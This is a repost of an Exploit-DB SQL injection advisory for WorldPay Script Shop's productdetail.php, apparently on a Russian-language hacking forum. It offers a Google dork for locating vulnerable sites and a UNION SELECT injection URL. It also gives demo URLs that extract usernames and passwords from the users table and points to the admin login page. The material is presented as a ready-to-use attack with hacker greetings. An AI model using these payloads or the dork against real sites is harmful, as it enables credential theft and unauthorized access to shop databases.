Exploit WorldPay Script Shop - 'productdetail' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
10976
Проверка EDB
  1. Пройдено
Автор
ERR0R
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
N/A
Дата публикации
2010-01-03
Код:
============================================
| WorldPay Script Shop (productdetail) SQL Injection Vulnerability
============================================
# (+) Author: Err0R
# (+) Site : www.sa-hacker.com/vb<http://www.sa-hacker.com/vb>
# (+) Email : [email protected]<mailto:[email protected]>
=====================================
~~~~~~~~~~~~~~~~~~~~
dork (Google): intext:"Powered By WorldPay" inurl:productdetail.php
~~~~~~~~~~~~~~~~~~~~
Exploit : Site /path/productdetail.php?id=-231+union+select+1,2,3,4,5--
And you come the enject ,,
Demo :-
User name : http://server/productdetail.php?id=-231+union+select+1,2,3,userName,5+from+watch2td_db.tbl_users<http://server/productdetail.php?id=-231+union+select+1,2,3,userName,5+from+watch2td_db.tbl_users>--
Password : http://server/productdetail.php?id=-231+union+select+1,2,3,password,5+from+watch2td_db.tbl_users<http:http://server/productdetail.php?id=-231+union+select+1,2,3,password,5+from+watch2td_db.tbl_users>--
admin Login : Site /path/login.php
=============================================================
#====GreeTZ===============#
#all member in www.sa-hacker.com/vb<http://www.sa-hacker.com/vb> #
#and all in My email : ) #
#======================#
 
Источник
www.exploit-db.com

Похожие темы